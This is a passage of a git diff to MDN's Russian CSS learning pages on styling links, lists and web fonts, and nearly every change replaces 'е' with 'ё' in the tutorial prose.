всем последующим правилам и когда ссылка будет активирована, она также будет находиться под "наведением" (hover). Если вы введете их в неправильном порядке, стили не будут работать правильно. Чтобы запомнить этот порядок вы можете попробовать использовать мнемонику типа <strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te.</p> +<p>Этот порядок важен так как стили ссылок опираются друг на друга, например стили в первом правиле будут применяться ко всем последующим правилам и когда ссылка будет активирована, она также будет находиться под "наведением" (hover). Если вы введёте их в неправильном порядке, стили не будут работать правильно. Чтобы запомнить этот порядок вы можете попробовать использовать мнемонику типа <strong>L</strong>o<strong>V</strong>e <strong>F</strong>ears <strong>HA</strong>te.</p> -<p>А теперь давайте добавим еще немного информации <span class="tlid-translation translation" lang="ru"><span title="">чтобы правильно оформить этот стиль:</span></span></p> +<p>А теперь давайте добавим ещё немного информации <span class="tlid-translation translation" lang="ru"><span title="">чтобы правильно оформить этот стиль:</span></span></p> <pre class="brush: css">body { width: 300px; @@ -163,20 +163,20 @@ a:active { Firefox</a>, <a href="https://www.google.com/chrome/index.html">Google Chrome</a>, and <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>.</p></pre> -<p>Объединение этих двух дает нам такой результат:</p> +<p>Объединение этих двух даёт нам такой результат:</p> <p>{{ EmbedLiveSample('Стилизация_некоторых_ссылок', '100%', 150) }}</p> -<p>Итак, что мы сделали тут? Это определенно выглядит иначе чем стилизация по умолчанию, но <span class="tlid-translation translation" lang="ru"><span title="">все еще дает достаточно знакомый опыт для пользователей, чтобы знать, что происходит:</span></span></p> +<p>Итак, что мы сделали тут? Это определённо выглядит иначе чем стилизация по умолчанию, но <span class="tlid-translation translation" lang="ru"><span title="">все ещё даёт достаточно знакомый опыт для пользователей, чтобы знать, что происходит:</span></span></p> <ul> <li>Первые два правила не так интересны в этом обсуждении.</li> - <li>Третье правило использует селектор <code>a</code> чтобы избавиться от подчеркивания текста и контура фокуса по умолчанию (которые все равно варьируют в зависимости от браузера), а также добавляет малое количество padding к каждой ссылке — все это станет ясно позже.</li> - <li>Далее, мы используем селекторы <code>a:link</code> и <code>a:visited</code> чтобы настроить пару цветовых вариаций не посещенных и посещенных ссылок, так чтоб они отличались.</li> - <li>Следующие два правила используют <code>a:focus</code> и <code>a:hover</code> настраивают сфокусированные и наведенные (hovered) ссылки таким образом чтобы они имели разные фоновые цвета, плюс нижнее подчеркивание чтобы ссылка выделялась еще больше. Два пункта на которые надо обратить внимание: + <li>Третье правило использует селектор <code>a</code> чтобы избавиться от подчёркивания текста и контура фокуса по умолчанию (которые все равно варьируют в зависимости от браузера), а также добавляет малое количество padding к каждой ссылке — все это станет ясно позже.</li> + <li>Далее, мы используем селекторы <code>a:link</code> и <code>a:visited</code> чтобы настроить пару цветовых вариаций не посещённых и посещённых ссылок, так чтоб они отличались.</li> + <li>Следующие два правила используют <code>a:focus</code> и <code>a:hover</code> настраивают сфокусированные и наведённые (hovered) ссылки таким образом чтобы они имели разные фоновые цвета, плюс нижнее подчёркивание чтобы ссылка выделялась ещё больше. Два пункта на которые надо обратить внимание: <ul> - <li>Нижнее подчеркивание создано используя {{cssxref("border-bottom")}}, а не {{cssxref("text-decoration")}} — некоторые люди предпочитают это потому что первый имеет лучшие варианты стилизации, чем второй, и отрисован немного ниже, так что не срезает нижние элементы слов будучи подчеркнутыми (например хвосты у букв как "р" и "у").</li> - <li>Значение {{cssxref("border-bottom")}} установлено на <code>1px solid</code>, без определенного цвета. Это позволяет границам принимать тот же цвет что и элементы текста, что полезно в случае как этом, где текст имеет разные цвета в каждом случае.</li> + <li>Нижнее подчёркивание создано используя {{cssxref("border-bottom")}}, а не {{cssxref("text-decoration")}} — некоторые люди предпочитают это потому что первый имеет лучшие варианты стилизации, чем второй, и отрисован немного ниже, так что не срезает нижние элементы слов будучи подчёркнутыми (например хвосты у букв как "р" и "у").</li> + <li>Значение {{cssxref("border-bottom")}} установлено на <code>1px solid</code>, без определённого цвета. Это позволяет границам принимать тот же цвет что и элементы текста, что полезно в случае как этом, где текст имеет разные цвета в каждом случае.</li> </ul> </li> <li>Наконец, <code>a:active</code> используется чтобы дать ссылкам инвертированную цветовую схему в то время когда они активированы, чтобы было ясно что происходит что то важное!</li> @@ -184,7 +184,7 @@ Firefox</a>, <a href="https://www.google.com/chrome/index.html">Goog <h3 id="Активное_изучение_Стилизуйте_ссылки_самостоятельно">Активное изучение: Стилизуйте ссылки самостоятельно</h3> -<p>В этой секции активного изучения, мы бы хотели, чтобы взяли наш набор пустых правил и добавили ваши собственные объявления так чтобы ссылки выглядели действительно круто. Используйте свое воображение, не сковывайтесь. Мы уверены, что вы можете придумать что-то более крутое и все еще так же функциональное, как и наш пример выше.</p> +<p>В этой секции активного изучения, мы бы хотели, чтобы взяли наш набор пустых правил и добавили ваши собственные объявления так чтобы ссылки выглядели действительно круто. Используйте своё воображение, не сковывайтесь. Мы уверены, что вы можете придумать что-то более крутое и все ещё так же функциональное, как и наш пример выше.</p> <p>Если вы допустите ошибку, вы всегда можете сделать сброс используя кнопку <em>Reset</em>. Если вы действительно застряли нажмите кнопку <em>Show solution</em> чтобы вставить пример, который мы показали выше.</p> @@ -320,25 +320,25 @@ a[href*="http"] { <p>{{ EmbedLiveSample('Добавление_иконок_в_ссылки', '100%', 150) }}</p> -<p>Итак, что же тут происходит? Мы пропустим большую часть CSS так как это та же информация, которую вы рассматривали ранее. Однако, последнее правило интересное — тут мы вставляем пользовательское фоновое изображение во внешнюю ссылку схожим способом как мы делали <a href="/en-US/Learn/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">пользовательские маркеры для пунктов списка</a> в последней статье — в этот раз, однако, мы используем короткую запись {{cssxref("background")}} вместо индивидуальных свойств. Мы задаем путь к изображению, которое хотим вставить, устанавливаем <code>no-repeat</code> чтобы мы получили только одну копию вставленного и затем устанавливаем позицию на 100% до правого края изображения и 0 пикселей от верхнего края.</p> +<p>Итак, что же тут происходит? Мы пропустим большую часть CSS так как это та же информация, которую вы рассматривали ранее. Однако, последнее правило интересное — тут мы вставляем пользовательское фоновое изображение во внешнюю ссылку схожим способом как мы делали <a href="/en-US/Learn/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">пользовательские маркеры для пунктов списка</a> в последней статье — в этот раз, однако, мы используем короткую запись {{cssxref("background")}} вместо индивидуальных свойств. Мы задаём путь к изображению, которое хотим вставить, устанавливаем <code>no-repeat</code> чтобы мы получили только одну копию вставленного и затем устанавливаем позицию на 100% до правого края изображения и 0 пикселей от верхнего края.</p> -<p>Также мы используем {{cssxref("background-size")}} для того чтобы указать размер в котором бы хотим чтобы было показано фоновое изображение — полезно иметь иконку большего размера и далее менять его размер так, как нужно для адаптивного (отзывчивого) веб-дизайна. Однако это работает только в IE9 и следующих версиях так что, если вам нужна поддержка тех старых браузеров вам просто придется менять размер изображения и вставлять его как есть.</p> +<p>Также мы используем {{cssxref("background-size")}} для того чтобы указать размер в котором бы хотим чтобы было показано фоновое изображение — полезно иметь иконку большего размера и далее менять его размер так, как нужно для адаптивного (отзывчивого) веб-дизайна. Однако это работает только в IE9 и следующих версиях так что, если вам нужна поддержка тех старых браузеров вам просто придётся менять размер изображения и вставлять его как есть.</p> -<p>Наконец, мы задаем некоторый {{cssxref("padding-right")}} для ссылки чтобы добавить пространство в котором появляется фоновое изображение, таким образом, чтобы мы не накладывали его на текст.</p> +<p>Наконец, мы задаём некоторый {{cssxref("padding-right")}} для ссылки чтобы добавить пространство в котором появляется фоновое изображение, таким образом, чтобы мы не накладывали его на текст.</p> <p>И последнее слово — как мы выбрали только внешние ссылки? Ну, если вы пишете свои <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">HTML ссылки</a> правильно, то вы должны были использовать только абсолютные URL для внешних ссылок — гораздо эффективнее использовать относительные ссылки для связи с другими частями вашего сайта. Текст "http" таким образом должен появляться только во внешних ссылках и можем выбрать его при помощи <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">селектора атрибутов</a>: <code>a[href*="http"]</code> выбирает элементы {{htmlelement("a")}}, но только если они имеют атрибут {{htmlattrxref("href","a")}} со значением содержащим "http" где-то внутри него.</p> <p>Ну вот и все — попробуйте посетить секцию активного изучения выше и испытайте этот новый метод!</p> <div class="note"> -<p><strong>Обратите внимание</strong>: Не переживайте если вы еще не знакомы с <a href="/en-US/docs/Learn/CSS/Styling_boxes">фоном </a>и <a href="/en-US/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">адаптивным (отзывчивым) веб-дизайном</a>; это объяснено в других местах</p> +<p><strong>Обратите внимание</strong>: Не переживайте если вы ещё не знакомы с <a href="/en-US/docs/Learn/CSS/Styling_boxes">фоном </a>и <a href="/en-US/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">адаптивным (отзывчивым) веб-дизайном</a>; это объяснено в других местах</p> </div> <h2 id="Стилизация_ссылок_в_виде_кнопок">Стилизация ссылок в виде кнопок</h2> <p><span class="tlid-translation translation" lang="ru"><span title="">Инструменты, которые вы исследовали в этой статье</span></span> также могут быть использованы другим способом. Например, такие состояния как hover могут быть использованы для стилизации множества различных элементов, не только ссылок — вы можете захотеть стилизовать состояние hover параграфов, элементов списка или других вещей.</p> -<p>Дополнительно, ссылки очень часто стилизуют так, чтоб они выглядели и вели себя как кнопки при определенных обстоятельствах — навигационное меню веб-сайтов обычно размечено как список, содержащий ссылки, который легко может быть стилизован так чтоб выглядел как набор кнопок управления или вкладок которые обеспечивают пользователя доступом к другим частям сайта. Давайте изучим как.</p> +<p>Дополнительно, ссылки очень часто стилизуют так, чтоб они выглядели и вели себя как кнопки при определённых обстоятельствах — навигационное меню веб-сайтов обычно размечено как список, содержащий ссылки, который легко может быть стилизован так чтоб выглядел как набор кнопок управления или вкладок которые обеспечивают пользователя доступом к другим частям сайта. Давайте изучим как.</p> <p>Для начала HTML:</p> @@ -390,7 +390,7 @@ a:active { color: white; }</pre> -<p>Что дает нам следующий результат:</p> +<p>Что даёт нам следующий результат:</p> <p>{{ EmbedLiveSample('Стилизация_ссылок_в_виде_кнопок', '100%', 100) }}</p> @@ -398,13 +398,13 @@ a:active { <ul> <li>Наше второе правило удаляет заданный по умолчанию {{cssxref("padding")}} у элемента {{htmlelement("ul")}} и устанавливает его ширину так, чтобы охватить 100% внешнего контейнера (в этом случае {{htmlelement("body")}}).</li> - <li>Элементы {{htmlelement("li")}} по умолчанию в норме являются блочными (см. <a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">типы блоков CSS</a> чтобы вспомнить), что значит что они будут располагаться на своих собственных строках. В этом случае мы создаем горизонтальный список ссылок, поэтому в третьем правиле задаем свойству {{cssxref("display")}} значение inline, <span class="tlid-translation translation" lang="ru"><span title="">что приводит к тому, что элементы списка располагаются в одной строке друг с другом </span></span>— теперь они ведут себя как строчные элементы.</li> - <li>четвертое правило — которое стилизует элемент {{htmlelement("a")}} — самое сложное; давайте пройдемся по нему шаг за шагом: + <li>Элементы {{htmlelement("li")}} по умолчанию в норме являются блочными (см. <a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">типы блоков CSS</a> чтобы вспомнить), что значит что они будут располагаться на своих собственных строках. В этом случае мы создаём горизонтальный список ссылок, поэтому в третьем правиле задаём свойству {{cssxref("display")}} значение inline, <span class="tlid-translation translation" lang="ru"><span title="">что приводит к тому, что элементы списка располагаются в одной строке друг с другом </span></span>— теперь они ведут себя как строчные элементы.</li> + <li>четвёртое правило — которое стилизует элемент {{htmlelement("a")}} — самое сложное; давайте пройдёмся по нему шаг за шагом: <ul> <li>как в предыдущем примере, мы начинаем отключать настройки по умолчанию для {{cssxref("text-decoration")}} и {{cssxref("outline")}} — мы не хотим, чтоб они портили нам вид.</li> <li>Далее мы устанавливаем {{cssxref("display")}} на <code>inline-block</code> — элементы {{htmlelement("a")}} являются строчными по умолчанию и, поскольку мы не хотим чтобы они вываливались на свои собственные строки как если бы это получалось со значением <code>block</code>, мы хотим иметь возможность менять их размер. <code>inline-block</code> позволяет нам делать это.</li> - <li>Теперь только изменение размера! Мы хотим заполнить всю ширину элемента {{htmlelement("ul")}}, оставить немного margin между каждой кнопкой (не без зазора с правого края) и мы имеем 5 кнопок, которые надо разместить и которые должны иметь одинаковый размер. Для того чтобы это сделать мы задаем {{cssxref("width")}} на 19.5%, а {{cssxref("margin-right")}} на 0.625%. Вы заметите что вся эта эта ширина составляет 100.625%, что может сделать так что последняя кнопка перекроет <code><ul></code> и выпадет вниз на следующую строку. <span class="tlid-translation translation" lang="ru"><span title="">Тем не менее, мы возвращаемся к 100%, используя следующее правило</span></span>, которое выбирает только последний <code><a></code> в списке и удаляет его margin. Сделано!</li> - <li>Последние три объявления довольно просты и в основном просто для косметических целей. Мы центрируем текст внутри каждой ссылки, задаем {{cssxref("line-height")}} на 3 чтобы кнопки имели некую высоту (что также имеет преимущество в центрировании текста по вертикали) и задаем для текста черный цвет.</li> + <li>Теперь только изменение размера! Мы хотим заполнить всю ширину элемента {{htmlelement("ul")}}, оставить немного margin между каждой кнопкой (не без зазора с правого края) и мы имеем 5 кнопок, которые надо разместить и которые должны иметь одинаковый размер. Для того чтобы это сделать мы задаём {{cssxref("width")}} на 19.5%, а {{cssxref("margin-right")}} на 0.625%. Вы заметите что вся эта эта ширина составляет 100.625%, что может сделать так что последняя кнопка перекроет <code><ul></code> и выпадет вниз на следующую строку. <span class="tlid-translation translation" lang="ru"><span title="">Тем не менее, мы возвращаемся к 100%, используя следующее правило</span></span>, которое выбирает только последний <code><a></code> в списке и удаляет его margin. Сделано!</li> + <li>Последние три объявления довольно просты и в основном просто для косметических целей. Мы центрируем текст внутри каждой ссылки, задаём {{cssxref("line-height")}} на 3 чтобы кнопки имели некую высоту (что также имеет преимущество в центрировании текста по вертикали) и задаём для текста чёрный цвет.</li> </ul> </li> </ul> diff --git a/files/ru/learn/css/styling_text/styling_lists/index.html b/files/ru/learn/css/styling_text/styling_lists/index.html index c4f25e9a04..3b57fc4763 100644 --- a/files/ru/learn/css/styling_text/styling_lists/index.html +++ b/files/ru/learn/css/styling_text/styling_lists/index.html @@ -71,7 +71,7 @@ paragraph for reference, paragraph for reference, paragraph for reference.</p <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd> </dl></pre> -<p>Если вы перейдете к живому примеру прямо сейчас и изучите элемент списка используя <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">инструменты разработчика браузера</a>, то вы заметите несколько стилей установленных по умолчанию:</p> +<p>Если вы перейдёте к живому примеру прямо сейчас и изучите элемент списка используя <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">инструменты разработчика браузера</a>, то вы заметите несколько стилей установленных по умолчанию:</p> <ul> <li>Элементы {{htmlelement("ul")}} и {{htmlelement("ol")}} имеют верхний и нижний {{cssxref("margin")}} по <code>16px</code> (<code>1em</code>) и {{cssxref("padding-left")}} <code>40px</code> (<code>2.5em</code>.)</li> @@ -124,8 +124,8 @@ dd { <ul> <li>Первое правило устанавливает шрифт сайта и основной размер шрифта 10px. Они наследуются всеми на этой странице.</li> <li>Правила 2 и 3 задают относительные размеры шрифтов заголовков, различных типов списков (их наследуют дочерние элементы списков) и параграфов. Это значит, что каждый параграф и список будут иметь одинаковый размер шрифта, а также верхний и нижний интервалы, помогая сохранить согласованность вертикального ритма.</li> - <li>Правило 4 задает одинаковую высоту {{cssxref("line-height")}} в параграфах и пунктах списка — так, что параграфы и каждый отдельный пункт списка будут иметь те же интервалы между строками. Это также поможет сохранить согласованность вертикального ритма.</li> - <li>Правила 5 и 6 применяются к списку описаний — мы задаем одинаковую высоту <code>line-height</code> между терминами и описаниями списке описаний как мы это делали с параграфами и пунктами списка. И снова, согласованность хорошая! <span class="tlid-translation translation" lang="ru"><span title="">Мы также делаем описание терминов жирным шрифтом, чтобы они визуально выделялись легче.</span></span> <span id="cke_bm_126E" class="hidden"> </span></li> + <li>Правило 4 задаёт одинаковую высоту {{cssxref("line-height")}} в параграфах и пунктах списка — так, что параграфы и каждый отдельный пункт списка будут иметь те же интервалы между строками. Это также поможет сохранить согласованность вертикального ритма.</li> + <li>Правила 5 и 6 применяются к списку описаний — мы задаём одинаковую высоту <code>line-height</code> между терминами и описаниями списке описаний как мы это делали с параграфами и пунктами списка. И снова, согласованность хорошая! <span class="tlid-translation translation" lang="ru"><span title="">Мы также делаем описание терминов жирным шрифтом, чтобы они визуально выделялись легче.</span></span> <span id="cke_bm_126E" class="hidden"> </span></li> </ul> <h2 id="Стили_специфичные_для_списков">Стили специфичные для списков</h2> @@ -133,7 +133,7 @@ dd { <p>Теперь, рассмотрев общие методы интервалов для списков, давайте изучим некоторые специфичные спискам свойства. Существует три свойства, с которых вам надо начать знакомство, которые могут быть установлены для элементов {{htmlelement("ul")}} или {{htmlelement("ol")}}:</p> <ul> - <li>{{cssxref("list-style-type")}}: задает тип маркеров для использования в списке, например, квадратные или круглые маркеры для неупорядоченного списка, или цифры, буквы или римские цифры для упорядоченного списка.</li> + <li>{{cssxref("list-style-type")}}: задаёт тип маркеров для использования в списке, например, квадратные или круглые маркеры для неупорядоченного списка, или цифры, буквы или римские цифры для упорядоченного списка.</li> <li>{{cssxref("list-style-position")}}: управляет будет ли маркер появляется внутри пунктов списка или <span class="tlid-translation translation" lang="ru"><span title="">вне их перед началом каждого элемента.</span></span></li> <li>{{cssxref("list-style-image")}}: позволяет вам использовать пользовательские изображения в качестве маркеров, а не просто квадрат или круг.</li> </ul> @@ -146,7 +146,7 @@ dd { list-style-type: upper-roman; }</pre> -<p>Это дает нам следующий вид:</p> +<p>Это даёт нам следующий вид:</p> <p><img alt="an ordered list with the bullet points set to appear outside the list item text." src="https://mdn.mozillademos.org/files/12962/outer-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 119px; margin: 0px auto; width: 376px;"></p> @@ -199,13 +199,13 @@ ul li { <ul> <li>{{cssxref("background-image")}}: <span class="tlid-translation translation" lang="ru"><span title="">Указывает путь к файлу изображения, который вы хотите использовать в качестве маркера.</span></span></li> <li>{{cssxref("background-position")}}: Определяет где в фоне выбранного элемента появится изображение — в данном случае мы говорим <code>0 0</code>, что значит что маркер будет появляться в самом верху слева каждого пункта списка.</li> - <li>{{cssxref("background-size")}}: Задает размер фонового изображения. В идеале мы хотим, чтоб маркеры были того же размера что и пункты списка (или самую малость меньше или крупнее). Мы используем размер <code>1.6rem</code> (<code>16px</code>), <span class="tlid-translation translation" lang="ru"><span title="">что очень хорошо сочетается с отступом (padding) </span></span><code>20px</code><span class="tlid-translation translation" lang="ru"><span title="">, </span></span><span class="tlid-translation translation" lang="ru"><span title="">который мы позволили разместить внутри маркера </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">16px плюс 4px интервала между маркером и текстом пункта списка работают хорошо.</span></span></li> + <li>{{cssxref("background-size")}}: Задаёт размер фонового изображения. В идеале мы хотим, чтоб маркеры были того же размера что и пункты списка (или самую малость меньше или крупнее). Мы используем размер <code>1.6rem</code> (<code>16px</code>), <span class="tlid-translation translation" lang="ru"><span title="">что очень хорошо сочетается с отступом (padding) </span></span><code>20px</code><span class="tlid-translation translation" lang="ru"><span title="">, </span></span><span class="tlid-translation translation" lang="ru"><span title="">который мы позволили разместить внутри маркера </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">16px плюс 4px интервала между маркером и текстом пункта списка работают хорошо.</span></span></li> <li>{{cssxref("background-repeat")}}: По умолчанию, фоновые изображения повторяются пока не заполнят доступное фоновое пространство. Мы хотим всего лишь одну копию вставленного изображения в каждом случае, поэтому мы установили значение <code>no-repeat</code>.</li> </ul> </li> </ul> -<p>Это дает нам следующий результат:</p> +<p>Это даёт нам следующий результат:</p> <p><img alt="an unordered list with the bullet points set as little star images" src="https://mdn.mozillademos.org/files/16226/list_formatting.png" style="border-style: solid; border-width: 1px; display: block; height: 106px; margin: 0px auto; width: 124px;"></p> @@ -219,7 +219,7 @@ ul li { list-style-position: inside; }</pre> -<p>Может быть заменен этим:</p> +<p>Может быть заменён этим:</p> <pre class="brush: css">ul { list-style: square url(example.png) inside; @@ -229,11 +229,11 @@ ul li { <h2 id="Контроль_счета_списка">Контроль счета списка</h2> -<p>Иногда вам может понадобиться вести счет в упорядоченном списке по-другому — например начинать с цифры отличной от 1, или считать в обратном порядке, или вести счет с шагом больше 1. HTML и CSS имеют несколько инструментов которые помогут с этим.</p> +<p>Иногда вам может понадобиться вести счёт в упорядоченном списке по-другому — например начинать с цифры отличной от 1, или считать в обратном порядке, или вести счёт с шагом больше 1. HTML и CSS имеют несколько инструментов которые помогут с этим.</p> <h3 id="start">start</h3> -<p>Атрибут {{htmlattrxref("start","ol")}} позволит вам начать счет списка с цифры отличной от 1. Например:</p> +<p>Атрибут {{htmlattrxref("start","ol")}} позволит вам начать счёт списка с цифры отличной от 1. Например:</p> <pre class="brush: html"><ol start="4"> <li>Toast pita, leave to cool, then slice down the edge.</li> @@ -248,7 +248,7 @@ ul li { <h3 id="reversed">reversed</h3> -<p>Атрибут {{htmlattrxref("reversed","ol")}} начнет отсчет по убыванию вместо возрастания. Например:</p> +<p>Атрибут {{htmlattrxref("reversed","ol")}} начнёт отсчёт по убыванию вместо возрастания. Например:</p> <pre class="brush: html"><ol start="4" reversed> <li>Toast pita, leave to cool, then slice down the edge.</li> @@ -262,7 +262,7 @@ ul li { <p>{{ EmbedLiveSample('reversed', '100%', 150) }}</p> <div class="note"> -<p><strong>Обратите внимание</strong>: Если пунктов в списке в обратном списке больше, чем значение атрибута <code>start</code>, счет продолжится до нуля и далее отрицательные значения.</p> +<p><strong>Обратите внимание</strong>: Если пунктов в списке в обратном списке больше, чем значение атрибута <code>start</code>, счёт продолжится до нуля и далее отрицательные значения.</p> </div> <h3 id="value">value</h3> @@ -365,7 +365,7 @@ window.addEventListener("load", drawOutput); <h2 id="Смотрите_также">Смотрите также</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Счетчики CSS предоставляют расширенные инструменты для настройки счета и оформления списков, но они довольно сложные.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Мы рекомендуем изучить это, если вы захотите размяться. Смотрите</span></span>:</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Счётчики CSS предоставляют расширенные инструменты для настройки счета и оформления списков, но они довольно сложные.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Мы рекомендуем изучить это, если вы захотите размяться. Смотрите</span></span>:</p> <ul> <li>{{cssxref("@counter-style")}}</li> @@ -375,7 +375,7 @@ window.addEventListener("load", drawOutput); <h2 id="Заключение">Заключение</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">В плане стилизации списки сравнительно легко освоить, как только вы освоите несколько связанных базовых принципов и специфичные свойства. В следующей статье мы перейдем к методам стилизации ссылок.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В плане стилизации списки сравнительно легко освоить, как только вы освоите несколько связанных базовых принципов и специфичные свойства. В следующей статье мы перейдём к методам стилизации ссылок.</span></span></p> <p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p> @@ -386,5 +386,5 @@ window.addEventListener("load", drawOutput); <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Стилизация списков</a></li> <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Стилизация ссылок</a></li> <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Веб-шрифты</a></li> - <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Верстка домашней страницы общественной школы</a></li> + <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Вёрстка домашней страницы общественной школы</a></li> </ul> diff --git a/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html b/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html index 470566580f..53db98ecdd 100644 --- a/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html +++ b/files/ru/learn/css/styling_text/typesetting_a_homepage/index.html @@ -40,12 +40,12 @@ original_slug: Learn/CSS/Styling_text/Задание:_Стилизировани <h2 id="Краткое_описание_проекта">Краткое описание проекта</h2> -<p>Вам предоставлен некоторый "сырой" HTML для домашней страницы воображаемого общественного колледжа, плюс немного CSS который стилизует страницу в макет с тремя колонками и обеспечивает еще каким-то другим элементарным стилем. Вы должны писать ваш дополнительный CSS после комментария в низу CSS файла, чтобы убедиться, что вы с легкостью заметите части проделанные вами. Не переживайте если некоторые селекторы повторяются; мы отпустим вас с этим случаем.</p> +<p>Вам предоставлен некоторый "сырой" HTML для домашней страницы воображаемого общественного колледжа, плюс немного CSS который стилизует страницу в макет с тремя колонками и обеспечивает ещё каким-то другим элементарным стилем. Вы должны писать ваш дополнительный CSS после комментария в низу CSS файла, чтобы убедиться, что вы с лёгкостью заметите части проделанные вами. Не переживайте если некоторые селекторы повторяются; мы отпустим вас с этим случаем.</p> <p>Шрифты:</p> <ul> - <li>Во-первых, загрузите парочку бесплатных для использования шрифтов. Так как это колледж, шрифты должны быть выбраны так чтоб они придавали достаточной серьезности, формальности и чувства заслуживающего доверия — может подойти шрифт с засечками (serif) для всего основного текста, в сочетании с шрифтами sans-serif или serif для заголовков.</li> + <li>Во-первых, загрузите парочку бесплатных для использования шрифтов. Так как это колледж, шрифты должны быть выбраны так чтоб они придавали достаточной серьёзности, формальности и чувства заслуживающего доверия — может подойти шрифт с засечками (serif) для всего основного текста, в сочетании с шрифтами sans-serif или serif для заголовков.</li> <li>Используйте подходящий сервис для генерации пуленепробиваемого <code>@font-face</code> кода для этих двух шрифтов.</li> <li>Примените ваш основной шрифт для всей страницы и шрифт заголовка для заголовков.</li> </ul> @@ -66,9 +66,9 @@ original_slug: Learn/CSS/Styling_text/Задание:_Стилизировани <ul> <li>Дайте состояниям link, visited, focus, и hover какой-нибудь цвет, который будет сочетается с цветом горизонтальных линий на верху и в низу страницы.</li> - <li>Сделайте так чтобы ссылки были подчеркнутыми по умолчанию, но, чтобы подчеркивание исчезало, когда вы фокусируетесь или наводите мышь на них.</li> + <li>Сделайте так чтобы ссылки были подчёркнутыми по умолчанию, но, чтобы подчёркивание исчезало, когда вы фокусируетесь или наводите мышь на них.</li> <li>Удалите установленный по умолчанию контурный фокус со ВСЕХ ссылок на странице.</li> - <li>Дайте состоянию active заметно отличимый стиль так чтоб он красиво выделялся, но чтоб он все еще вписывался в общий дизайн страницы.</li> + <li>Дайте состоянию active заметно отличимый стиль так чтоб он красиво выделялся, но чтоб он все ещё вписывался в общий дизайн страницы.</li> <li>Сделайте так чтоб внешние ссылки имели иконку внешней ссылки, вставленную рядом с ними.</li> </ul> @@ -106,7 +106,7 @@ original_slug: Learn/CSS/Styling_text/Задание:_Стилизировани <li>Разместите свою работу в онлайн редакторе в которым можно поделиться работами в таком как <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, или <a href="https://glitch.com/">Glitch</a>.</li> <li>Напишите пост с просьбой оценки и/или помощи на <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Ваш пост должен включать: <ul> - <li>Описательный заголовок такой как "Требуется оценка верстки домашней страницы общественный школы".</li> + <li>Описательный заголовок такой как "Требуется оценка вёрстки домашней страницы общественный школы".</li> <li>Детали о том, что вы уже попытались сделать и что бы вы хотели, чтобы мы сделали, например, если вы застряли и вам нужна помощь, либо вы хотите оценку.</li> <li>Ссылку на онлайн редактор (как упомянуто выше в пункте 1) с примером, который нуждается в оценке или с которым нужна помощь. Это хорошая практика чтобы вникнуть — очень сложно помочь кому-либо с проблемным кодом если вы не видите их код.</li> <li>Ссылку на актуальную задачу или страницу оценки, чтобы мы могли найти вопрос, по которому вам нужна помощь.</li> diff --git a/files/ru/learn/css/styling_text/web_fonts/index.html b/files/ru/learn/css/styling_text/web_fonts/index.html index 03318d45b6..f617762a19 100644 --- a/files/ru/learn/css/styling_text/web_fonts/index.html +++ b/files/ru/learn/css/styling_text/web_fonts/index.html @@ -27,17 +27,17 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <h2 id="Краткое_повторение_семейств_шрифтов">Краткое повторение семейств шрифтов</h2> -<p>Как мы рассматривали в <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Фундаментальной стилизации текста и шрифта</a>, шрифты примененные к вашему HTML могут контролироваться при помощи свойства {{cssxref("font-family")}}. Оно принимает одно и более имен семейств шрифтов и браузер следует по списку пока не найдет тот шрифт, который является доступным в системе, под управлением которой он работает:</p> +<p>Как мы рассматривали в <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Фундаментальной стилизации текста и шрифта</a>, шрифты применённые к вашему HTML могут контролироваться при помощи свойства {{cssxref("font-family")}}. Оно принимает одно и более имён семейств шрифтов и браузер следует по списку пока не найдёт тот шрифт, который является доступным в системе, под управлением которой он работает:</p> <pre class="brush: css notranslate">p { font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif; }</pre> -<p>Эта система работает хорошо, но традиционно выбор шрифтов веб-разработчиков была ограниченной. Существует только горсть шрифтов которые вы можете гарантировать, что они являются доступными во всех распространенных системах — так называемые <a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts">Безопасные веб-шрифты</a>. <span class="tlid-translation translation" lang="ru"><span title="">Вы можете использовать стек шрифта для указания предпочтительных шрифтов</span></span>, за которыми следует веб-безопасные альтернативы, за которыми следует системный шрифт по умолчанию, <span class="tlid-translation translation" lang="ru"><span title="">но это добавляет дополнительной работы с точки зрения тестирования, чтобы убедиться, что ваш дизайн выглядит хорошо с каждым из 